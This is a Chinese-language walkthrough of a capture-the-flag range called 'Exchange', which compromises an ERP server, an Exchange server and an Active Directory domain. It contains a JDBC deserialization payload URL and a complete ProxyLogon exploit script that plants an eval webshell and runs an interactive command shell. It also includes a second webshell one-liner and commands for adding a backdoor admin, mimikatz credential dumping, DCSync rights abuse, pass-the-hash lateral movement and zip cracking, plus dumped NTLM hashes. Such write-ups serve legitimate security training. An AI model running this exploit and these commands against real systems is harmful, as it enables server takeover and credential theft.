春秋云境 Exchange

flag01

1
2
3
4
5
6
7
8
39.101.171.222:8000 open
39.101.171.222:22 open
39.101.171.222:80 open
[*] alive ports len is: 3
start vulscan
[*] WebTitle http://39.101.171.222 code:200 len:19813 title:lumia
[*] WebTitle http://39.101.171.222:8000 code:302 len:0 title:None 跳转url: http://39.101.171.222:8000/login.html
[*] WebTitle http://39.101.171.222:8000/login.html code:200 len:5662 title:Lumia ERP

参考文章华夏ERP组合拳

1
user/getAllList;.ico

image-20240820201710222

image-20240820201650283

1
http://39.101.171.222:8000/user/list?search=%7B%20%22name%22%3A%20%7B%20%22%40type%22%3A%20%22java.lang.AutoCloseable%22%2C%20%22%40type%22%3A%20%22com.mysql.jdbc.JDBC4Connection%22%2C%20%22hostToConnectTo%22%3A%20%22ip%22%2C%20%22portToConnectTo%22%3A%203306%2C%20%22info%22%3A%20%7B%20%22user%22%3A%20%22chu0%22%2C%20%22password%22%3A%20%22pass%22%2C%20%22statementInterceptors%22%3A%20%22com.mysql.jdbc.interceptors.ServerStatusDiffInterceptor%22%2C%20%22autoDeserialize%22%3A%20%22true%22%2C%20%22NUM_HOSTS%22%3A%20%221%22%20%7D%20%7D

伪造一个MySQL服务器

image-20240820201949903

search值的ip记得改一下

1
cat /root/f*/f*

flag02

扫内网,搭代理

1
2
3
4
5
6
7
8
eth0      Link encap:Ethernet  HWaddr 00:16:3e:08:c9:d6  
inet addr:172.22.3.12 Bcast:172.22.255.255 Mask:255.255.0.0
inet6 addr: fe80::216:3eff:fe08:c9d6/64 Scope:Link
UP BROADCAST RUNNING MULTICAST MTU:1500 Metric:1
RX packets:119967 errors:0 dropped:0 overruns:0 frame:0
TX packets:74394 errors:0 dropped:0 overruns:0 carrier:0
collisions:0 txqueuelen:1000
RX bytes:152794359 (152.7 MB) TX bytes:21724339 (21.7 MB)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
./fs -h 172.22.3.1/24 -o result.txt

172.22.3.12:22 open
172.22.3.9:808 open
172.22.3.2:88 open
172.22.3.9:8172 open
172.22.3.12:8000 open
172.22.3.26:445 open
172.22.3.9:445 open
172.22.3.2:445 open
172.22.3.9:443 open
172.22.3.26:139 open
172.22.3.9:139 open
172.22.3.2:139 open
172.22.3.26:135 open
172.22.3.9:135 open
172.22.3.2:135 open
172.22.3.9:81 open
172.22.3.9:80 open
172.22.3.12:80 open
[*] NetBios: 172.22.3.26 XIAORANG\XIAORANG-PC
[*] 172.22.3.2 (Windows Server 2016 Datacenter 14393)
[*] WebTitle: http://172.22.3.12 code:200 len:19813 title:lumia
[*] NetInfo:
[*]172.22.3.9
[->]XIAORANG-EXC01
[->]172.22.3.9
[*] NetInfo:
[*]172.22.3.2
[->]XIAORANG-WIN16
[->]172.22.3.2
[*] WebTitle: http://172.22.3.12:8000 code:302 len:0 title:None 跳转url: http://172.22.3.12:8000/login.html
[*] NetInfo:
[*]172.22.3.26
[->]XIAORANG-PC
[->]172.22.3.26
[*] NetBios: 172.22.3.9 XIAORANG-EXC01.xiaorang.lab Windows Server 2016 Datacenter 14393
[*] WebTitle: http://172.22.3.12:8000/login.html code:200 len:5662 title:Lumia ERP
[*] NetBios: 172.22.3.2 [+]DC XIAORANG-WIN16.xiaorang.lab Windows Server 2016 Datacenter 14393
[*] WebTitle: http://172.22.3.9:81 code:403 len:1157 title:403 - 禁止访问: 访问被拒绝。
[*] WebTitle: https://172.22.3.9:8172 code:404 len:0 title:None
[*] WebTitle: http://172.22.3.9 code:403 len:0 title:None
[*] WebTitle: https://172.22.3.9 code:302 len:0 title:None 跳转url: https://172.22.3.9/owa/
[*] WebTitle: https://172.22.3.9/owa/auth/logon.aspx?url=https%3a%2f%2f172.22.3.9%2fowa%2f&reason=0 code:200 len:28237 title:Outlook

发现有一个exchange服务器,可以使用历史漏洞攻击,脚本如下,可以直接获取shell

1
proxychains4 python3 2.py -u c -user administrator -suffix @xiaorang.lab 2>/dev/null
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
# -*- coding: utf-8 -*-
import requests
from urllib3.exceptions import InsecureRequestWarning
import random
import string
import argparse
import sys
requests.packages.urllib3.disable_warnings(category=InsecureRequestWarning)

fuzz_email = ['administrator', 'webmaste', 'support', 'sales', 'contact', 'admin', 'test',
'test2', 'test01', 'test1', 'guest', 'sysadmin', 'info', 'noreply', 'log', 'no-reply']

proxies = {}
user_agent = "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/88.0.4324.190 Safari/537.36"

shell_path = "Program Files\\Microsoft\\Exchange Server\\V15\\FrontEnd\\HttpProxy\\owa\\auth\\test11.aspx"
shell_absolute_path = "\\\\127.0.0.1\\c$\\%s" % shell_path
# webshell-马子内容
shell_content = '<script language="JScript" runat="server"> function Page_Load(){/**/eval(Request["code"],"unsafe");}</script>'

final_shell = ""

def id_generator(size=6, chars=string.ascii_lowercase + string.digits):
return ''.join(random.choice(chars) for _ in range(size))

if __name__=="__main__":
parser = argparse.ArgumentParser(
description='Example: python exp.py -u 127.0.0.1 -user administrator -suffix @ex.com\n如果不清楚用户名,可不填写-user参数,将自动Fuzz用户名。')
parser.add_argument('-u', type=str,
help='target')
parser.add_argument('-user',
help='exist email', default='')
parser.add_argument('-suffix',
help='email suffix')
args = parser.parse_args()
target = args.u
suffix = args.suffix
if suffix == "":
print("请输入suffix")

exist_email = args.user
if exist_email:
fuzz_email.insert(0, exist_email)
random_name = id_generator(4) + ".js"
print("目标 Exchange Server: " + target)

for i in fuzz_email:
new_email = i+suffix
autoDiscoverBody = """<Autodiscover xmlns="http://schemas.microsoft.com/exchange/autodiscover/outlook/requestschema/2006">
<Request>
<EMailAddress>%s</EMailAddress> <AcceptableResponseSchema>http://schemas.microsoft.com/exchange/autodiscover/outlook/responseschema/2006a</AcceptableResponseSchema>
</Request>
</Autodiscover>
""" % new_email
# print("get FQDN")
FQDN = "EXCHANGE01"
ct = requests.get("https://%s/ecp/%s" % (target, random_name), headers={"Cookie": "X-BEResource=localhost~1942062522",
"User-Agent": user_agent},
verify=False, proxies=proxies)

if "X-CalculatedBETarget" in ct.headers and "X-FEServer" in ct.headers:
FQDN = ct.headers["X-FEServer"]
print("got FQDN:" + FQDN)

ct = requests.post("https://%s/ecp/%s" % (target, random_name), headers={
"Cookie": "X-BEResource=%s/autodiscover/autodiscover.xml?a=~1941962757;" % FQDN,
"Content-Type": "text/xml",
"User-Agent": user_agent},
data=autoDiscoverBody,
proxies=proxies,
verify=False
)

if ct.status_code != 200:
print(ct.status_code)
print("Autodiscover Error!")

if "<LegacyDN>" not in str(ct.content):
print("Can not get LegacyDN!")
try:
legacyDn = str(ct.content).split("<LegacyDN>")[
1].split(r"</LegacyDN>")[0]
print("Got DN: " + legacyDn)

mapi_body = legacyDn + \
"\x00\x00\x00\x00\x00\xe4\x04\x00\x00\x09\x04\x00\x00\x09\x04\x00\x00\x00\x00\x00\x00"

ct = requests.post("https://%s/ecp/%s" % (target, random_name), headers={
"Cookie": "X-BEResource=Administrator@%s:444/mapi/emsmdb?MailboxId=f26bc937-b7b3-4402-b890-96c46713e5d5@exchange.lab&a=~1942062522;" % FQDN,
"Content-Type": "application/mapi-http",
"X-Requesttype": "Connect",
"X-Clientinfo": "{2F94A2BF-A2E6-4CCCC-BF98-B5F22C542226}",
"X-Clientapplication": "Outlook/15.0.4815.1002",
"X-Requestid": "{E2EA6C1C-E61B-49E9-9CFB-38184F907552}:123456",
"User-Agent": user_agent
},
data=mapi_body,
verify=False,
proxies=proxies
)
if ct.status_code != 200 or "act as owner of a UserMailbox" not in str(ct.content):
print("Mapi Error!")
exit()

sid = str(ct.content).split("with SID ")[
1].split(" and MasterAccountSid")[0]

print("Got SID: " + sid)
sid = sid.replace(sid.split("-")[-1], "500")

proxyLogon_request = """<r at="Negotiate" ln="john"><s>%s</s><s a="7" t="1">S-1-1-0</s><s a="7" t="1">S-1-5-2</s><s a="7" t="1">S-1-5-11</s><s a="7" t="1">S-1-5-15</s><s a="3221225479" t="1">S-1-5-5-0-6948923</s></r>
""" % sid

ct = requests.post("https://%s/ecp/%s" % (target, random_name), headers={
"Cookie": "X-BEResource=Administrator@%s:444/ecp/proxyLogon.ecp?a=~1942062522;" % FQDN,
"Content-Type": "text/xml",
"msExchLogonMailbox": "S-1-5-20",
"User-Agent": user_agent
},
data=proxyLogon_request,
proxies=proxies,
verify=False
)
if ct.status_code != 241 or not "set-cookie" in ct.headers:
print("Proxylogon Error!")
exit()

sess_id = ct.headers['set-cookie'].split(
"ASP.NET_SessionId=")[1].split(";")[0]

msExchEcpCanary = ct.headers['set-cookie'].split("msExchEcpCanary=")[
1].split(";")[0]
print("Got session id: " + sess_id)
print("Got canary: " + msExchEcpCanary)

ct = requests.post("https://%s/ecp/%s" % (target, random_name), headers={
# "Cookie": "X-BEResource=Administrator@%s:444/ecp/DDI/DDIService.svc/GetObject?schema=OABVirtualDirectory&msExchEcpCanary=%s&a=~1942062522; ASP.NET_SessionId=%s; msExchEcpCanary=%s" % (
# FQDN, msExchEcpCanary, sess_id, msExchEcpCanary),

"Cookie": "X-BEResource=Admin@{server_name}:444/ecp/DDI/DDIService.svc/GetList?reqId=1615583487987&schema=VirtualDirectory&msExchEcpCanary={msExchEcpCanary}&a=~1942062522; ASP.NET_SessionId={sess_id}; msExchEcpCanary={msExchEcpCanary1}".
format(server_name=FQDN, msExchEcpCanary1=msExchEcpCanary, sess_id=sess_id,
msExchEcpCanary=msExchEcpCanary),
"Content-Type": "application/json; charset=utf-8",
"msExchLogonMailbox": "S-1-5-20",
"User-Agent": user_agent

},
json={"filter": {
"Parameters": {"__type": "JsonDictionaryOfanyType:#Microsoft.Exchange.Management.ControlPanel",
"SelectedView": "", "SelectedVDirType": "OAB"}}, "sort": {}},
verify=False,
proxies=proxies
)

if ct.status_code != 200:
print("GetOAB Error!")
exit()
oabId = str(ct.content).split('"RawIdentity":"')[1].split('"')[0]
print("Got OAB id: " + oabId)

oab_json = {"identity": {"__type": "Identity:ECP", "DisplayName": "OAB (Default Web Site)", "RawIdentity": oabId},
"properties": {
"Parameters": {"__type": "JsonDictionaryOfanyType:#Microsoft.Exchange.Management.ControlPanel",
"ExternalUrl": "http://ffff/#%s" % shell_content}}}

ct = requests.post("https://%s/ecp/%s" % (target, random_name), headers={
"Cookie": "X-BEResource=Administrator@%s:444/ecp/DDI/DDIService.svc/SetObject?schema=OABVirtualDirectory&msExchEcpCanary=%s&a=~1942062522; ASP.NET_SessionId=%s; msExchEcpCanary=%s" % (
FQDN, msExchEcpCanary, sess_id, msExchEcpCanary),
"msExchLogonMailbox": "S-1-5-20",
"Content-Type": "application/json; charset=utf-8",
"User-Agent": user_agent
},
json=oab_json,
proxies=proxies,
verify=False
)
if ct.status_code != 200:
print("Set external url Error!")
exit()

reset_oab_body = {"identity": {"__type": "Identity:ECP", "DisplayName": "OAB (Default Web Site)", "RawIdentity": oabId},
"properties": {
"Parameters": {"__type": "JsonDictionaryOfanyType:#Microsoft.Exchange.Management.ControlPanel",
"FilePathName": shell_absolute_path}}}

ct = requests.post("https://%s/ecp/%s" % (target, random_name), headers={
"Cookie": "X-BEResource=Administrator@%s:444/ecp/DDI/DDIService.svc/SetObject?schema=ResetOABVirtualDirectory&msExchEcpCanary=%s&a=~1942062522; ASP.NET_SessionId=%s; msExchEcpCanary=%s" % (
FQDN, msExchEcpCanary, sess_id, msExchEcpCanary),
"msExchLogonMailbox": "S-1-5-20",
"Content-Type": "application/json; charset=utf-8",
"User-Agent": user_agent
},
json=reset_oab_body,
proxies=proxies,
verify=False
)

if ct.status_code != 200:
print("写入shell失败")
exit()
shell_url = "https://"+target+"/owa/auth/test11.aspx"
print("成功写入shell:" + shell_url)
print("下面验证shell是否ok")
print('code=Response.Write(new ActiveXObject("WScript.Shell").exec("whoami").StdOut.ReadAll());')
print("正在请求shell")
import time
time.sleep(1)
data = requests.post(shell_url, data={
"code": "Response.Write(new ActiveXObject(\"WScript.Shell\").exec(\"whoami\").StdOut.ReadAll());"}, verify=False, proxies=proxies)
if data.status_code != 200:
print("写入shell失败")
else:
print("shell:"+data.text.split("OAB (Default Web Site)")
[0].replace("Name : ", ""))
print('[+]用户名: '+ new_email)
final_shell = shell_url
break
except:
print('[-]用户名: '+new_email)
print("=============================")
if not final_shell:
sys.exit()
print("下面启用交互式shell")
while True:
input_cmd = input("[#] command: ")
data={"code": """Response.Write(new ActiveXObject("WScript.Shell").exec("cmd /c %s").stdout.readall())""" % input_cmd}
ct = requests.post(
final_shell,
data=data,verify=False, proxies=proxies)
if ct.status_code != 200 or "OAB (Default Web Site)" not in ct.text:
print("[*] Failed to execute shell command")
else:
shell_response = ct.text.split(
"Name :")[0]
print(shell_response)

添加用户以rdp

1
2
net user Chu0 whoami@666 /add
net localgroup administrators Chu0 /add

可以拿到flag2

1
C:\Users\Administrator.XIAORANG\flag\flag02.txt

flag03

写个shell进去

1
C:\Program Files\Microsoft\Exchange Server\V15\FrontEnd\HttpProxy\owa\auth
1
<%@ Page Language="Jscript"%> <%eval(Request.Item["pass"],"unsafe");%>

写完shell之后就可以用system权限上bloodhound进行一波信息收集了

image-20240820211018740

发现XIAORANG-EXC01对于域内用户有WriteDACL权限,所以我们就可以利用机器账户给自己一个dcsync权限,进而获得域管哈希

先获取机器用户哈希

1
mimikatz.exe ""privilege::debug"" ""sekurlsa::logonpasswords"" exit
1
2
3
* Username : XIAORANG-EXC01$
* Domain : XIAORANG
* NTLM : b898bfd97adaeac3165e21cc0c83e018

赋予权限

1
python dacledit.py xiaorang.lab/XIAORANG-EXC01$ -hashes :b898bfd97adaeac3165e21cc0c83e018 -action write -rights DCSync -principal XIAORANG-EXC01$ -target-dn "DC=xiaorang,DC=lab" -dc-ip 172.22.3.2

dump哈希

1
mimikatz.exe "lsadump::dcsync /domain:xiaorang.lab /all /csv" exit
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
[DC] 'xiaorang.lab' will be the domain
[DC] 'XIAORANG-WIN16.xiaorang.lab' will be the DC server
[DC] Exporting domain 'xiaorang.lab'
[rpc] Service : ldap
[rpc] AuthnSvc : GSS_NEGOTIATE (9)
502 krbtgt b8fa79a52e918cb0cbcd1c0ede492647 514
1137 HealthMailboxeda7a84 1e89e23e265bb7b54dc87938b1b1a131 66048
1138 HealthMailbox33b01cf 0eff3de35019c2ee10b68f48941ac50d 66048
1139 HealthMailbox9570292 e434c7db0f0a09de83f3d7df25ec2d2f 66048
1140 HealthMailbox3479a75 c43965ecaa92be22c918e2604e7fbea0 66048
1141 HealthMailbox2d45c5b 4822b67394d6d93980f8e681c452be21 66048
1142 HealthMailboxec2d542 147734fa059848c67553dc663782e899 66048
1143 HealthMailboxf5f7dbd e7e4f69b43b92fb37d8e9b20848e6b66 66048
1144 HealthMailbox67dc103 4fe68d094e3e797cfc4097e5cca772eb 66048
1145 HealthMailbox320fc73 0c3d5e9fa0b8e7a830fcf5acaebe2102 66048
1146 Lumia 862976f8b23c13529c2fb1428e710296 512
500 Administrator 7acbc09a6c0efd81bfa7d5a1d4238beb 512
1000 XIAORANG-WIN16$ df9b69b6e7d4650b550889707f300328 532480
1147 Zhangtong 22c7f81993e96ac83ac2f3f1903de8b4 512
1103 XIAORANG-EXC01$ b898bfd97adaeac3165e21cc0c83e018 4096
1104 XIAORANG-PC$ f3eb6c285c7a2b18307e3d0d1dc8bb21 4096
1135 HealthMailbox8446c5b 40a4296ffa0b58bb805c36d8d3319df6 66048
1136 HealthMailbox0d5918e 1e77e24cd23a786e6ae182ae2536dcb3 66048

横向DC

1
proxychains4 impacket-smbexec -hashes :7acbc09a6c0efd81bfa7d5a1d4238beb xiaorang.lab/administrator@172.22.3.2 -codec gbk
1
type C:\users\administrator\flag\flag.txt

flag04

横向26,Lumia用户桌面有个secret.zip

1
proxychains4 impacket-smbexec -hashes :7acbc09a6c0efd81bfa7d5a1d4238beb xiaorang.lab/administrator@172.22.3.26 -codec gbk

利用上面dump的哈希下载outlook中的邮件

1
python pthexchange.py --target https://172.22.3.9 --username Lumia --password "00000000000000000000000000000000:862976f8b23c13529c2fb1428e710296" --action Download

获取的邮件里面有一个表格,里面有一堆手机号,使用手机号爆破密码

1
2
zip2john secret.zip >zip.txt
john --wordlist=1.txt zip.txt

image-20240820214635822